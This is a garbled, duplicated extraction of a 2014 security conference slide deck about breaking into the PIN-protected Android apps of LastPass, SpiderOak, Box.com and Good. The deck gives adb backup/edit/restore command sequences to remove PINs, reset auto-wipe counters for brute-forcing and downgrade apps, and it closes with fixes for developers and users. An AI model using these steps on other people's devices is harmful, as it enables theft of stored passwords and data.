  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 81: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 82: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
